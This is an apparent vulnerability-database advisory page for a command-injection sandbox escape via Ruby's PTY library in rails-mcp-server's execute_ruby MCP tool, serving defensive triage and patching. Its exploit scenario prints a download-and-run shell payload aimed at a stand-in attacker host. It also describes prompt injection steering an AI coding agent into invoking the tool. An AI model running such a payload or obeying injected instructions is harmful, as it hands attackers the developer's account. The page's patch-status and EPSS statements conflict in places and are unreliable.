Skip to main content

rails-mcp-server CVE-2026-81097

| EUVDEUVD-2026-67025 HIGH
OS Command Injection (CWE-78)
2026-08-27 VulnCheck GHSA-247c-497m-jx82
8.6
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft PTY.spawn payload in Ruby snippet
  2. Delivery
    Invoke execute_ruby tool via MCP client or prompt-injected AI agent
  3. Exploit
    Static denylist passes PTY (not enumerated)
  4. Execution
    require 'pty' loads pseudo-terminal library
  5. Persist
    PTY.spawn starts child process outside Kernel overrides
  6. Impact
    Execute arbitrary OS commands as server process user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The following conditions must all be met: rails-mcp-server version 1.4.0 through 1.6.0 must be running; the execute_ruby tool must be enabled (it is part of the server's tool set but may be toggled); the attacker must be able to invoke the execute_ruby tool, either directly as an authorized MCP client or indirectly via prompt injection into an AI coding agent that has the tool available. The Ruby PTY standard library need not be pre-loaded - a bare require 'pty' statement within the tool call suffices because require itself was not blocked. Exploitation is limited by: local deployment model (AV:L per CVSS - attacker must reach the local MCP interface, not a public network endpoint); the server must be actively running; and the caller must control or influence the Ruby code string passed to execute_ruby. Authentication to the MCP server itself follows whatever the MCP client enforces, which is outside the scope of this flaw.

Impact

The CVSS 4.0 vector (AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) scores 8.6 and reflects low-complexity local exploitation with no privilege prerequisite within the tool-call interface, yielding full confidentiality, integrity, and availability impact on the vulnerable system. PR:N is appropriate here because any entity that can invoke the execute_ruby tool - including an AI coding agent steered by prompt injection - requires no elevated OS or application privileges to trigger the flaw; tool access itself is the gating factor. AV:L is appropriate because rails-mcp-server is typically deployed locally by developers, meaning the attack surface is the local MCP tool interface rather than a network-exposed endpoint. EPSS data is not available in the provided intelligence. The vulnerability is not listed in CISA KEV, and no public proof-of-concept exploit has been identified, which moderates urgency. However, the complete bypass path is disclosed in the public GitHub PR diff, meaning a motivated actor can reconstruct the exploit trivially. The primary realistic threat is prompt injection: a malicious instruction embedded in project files or AI agent inputs could steer a coding agent into calling execute_ruby with a PTY-based payload, running attacker-controlled commands as the developer's own account.

Exploit ScenarioDerived

A developer uses a coding agent (e.g., Claude Code, Cursor) connected to rails-mcp-server 1.5.0. A malicious instruction embedded in a project file via prompt injection steers the agent to call execute_ruby with the payload require 'pty'; PTY.spawn('curl attacker.example/shell.sh | bash'). The PTY.spawn call bypasses all Kernel method overrides and the denylist, spawning a shell process as the developer's local user account. No confirmation dialog or elevated privilege is required because the tool invocation itself is sufficient.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 27, 2026

OS command injection in maquina-app rails-mcp-server versions 1.4.0 through 1.6.0 allows any caller with access to the execute_ruby MCP tool to escape the purported Ruby sandbox and execute arbitrary shell commands as the server process owner. The execute_ruby tool's denylist blocked Kernel#system, exec, and backtick invocations but never covered Ruby's pseudo-terminal library (PTY) entry points - PTY.spawn and PTY.getpty - enabling a caller to require 'pty' and spawn a child process entirely outside the guarded method replacements. No public exploit has been identified at time of analysis, and the vulnerability is not listed in CISA KEV, but the bypass path is fully documented in the vendor's public patch PR.

RemediationAI

Upgrade to rails-mcp-server version 1.6.1, which restricts require to a data-library allowlist (csv, tzinfo, date, time), adds PTY, Fiddle, and FFI to the static forbidden-pattern scan, and hard-blocks dynamic dispatch to execution sinks. Alternatively, upgrade to 2.0.0, which removes the execute_ruby tool entirely, eliminating the attack surface. The fix is tracked in GitHub PR #59 (https://github.com/maquina-app/rails-mcp-server/pull/59) and releases are at https://github.com/maquina-app/rails-mcp-server/releases. If an immediate upgrade is not possible, the most effective workaround is to disable the execute_ruby tool in the server configuration entirely, accepting the loss of inline Ruby inspection capability. As the vendor now documents, running the server against a database user with read-only grants and within an OS-level sandbox (container, sandbox-exec) reduces the impact of any sandbox escape but does not prevent code execution at the OS level. No generic 'apply defense in depth' posture substitutes for patching.

Affected VersionsENISA

rails-mcp-server 1.4.0 ≤1.6.0

Affected Packages

euvd rails_mcp_server no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

rails-mcp-server (CPE: cpe:2.3:a:maquina-app:rails-mcp-server:*:*:*:*:*:*:*:*) is a Ruby on Rails MCP server that exposes an execute_ruby tool intended as a read-only inspection sandbox. The sandbox was enforced by two mechanisms: a static pattern denylist that rejected dangerous method names, and runtime replacements of Kernel#system, exec, and related methods. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) applies because the tool accepted caller-supplied Ruby and then failed to restrict the full set of OS command entry points. Ruby's standard PTY library provides PTY.spawn and PTY.getpty, which open a pseudo-terminal and start a child process via a separate code path that does not go through the overridden Kernel methods. Because require 'pty' was not blocked and PTY symbols were absent from the denylist, a single require statement was sufficient to access these entry points. The denylist was introduced in version 1.4.0 and remained incomplete through 1.6.0. The fix in 1.6.1 restricts require to a narrow data-library allowlist (csv, tzinfo, date, time), adds PTY, Fiddle, and FFI to the static pattern scan, and hard-blocks dynamic dispatch (send, public_send, const_get) targeting execution sinks.

Know when Rails Mcp Server gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.6 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.4 HIGH

AV:L reflects local MCP interface access; PR:N because no OS or application privilege is needed beyond tool invocation; full C/I/A impact from arbitrary command execution as server process.

3.1 AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

The execute_ruby tool is documented as a read-only Ruby sandbox and is enforced by a pattern denylist together with replacements for the process-spawning methods on Kernel. The pseudo-terminal library's spawn entry points are neither in the denylist nor replaced, so a normal tool call could reach them and start a shell, executing commands as the account running the server and outside the guarded methods. The denylist was introduced with the tool in 1.4.0 and never covered those entry points through 1.6.0. Version 1.6.1 restricts the requires the sandbox permits to a data-only list and blocks dynamic dispatch to execution entry points; 2.0.0 removes the tool.

Executive ViewAI

Why It Matters

maquina-app rails-mcp-server versions 1.4.0-1.6.0 permit arbitrary shell command execution for callers with MCP tool access, risking complete server compromise. Organizations running this product in AI/LLM integration scenarios face potential business disruption and lateral movement into production infrastructure.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: restrict execute_ruby MCP tool access to authorized users only; disable the tool if not operationally essential; monitor server processes for unexpected child process spawning; implement network segmentation to limit MCP server access to authorized clients only.

Threat Intelligence Overview

EPSS Score
0.2%
Top 93% exploitable
Prevalence
Low
niche Rails developer tooling, MCP server for local AI coding agents
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Small
Automatable· derived
No
Human Impact
High

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy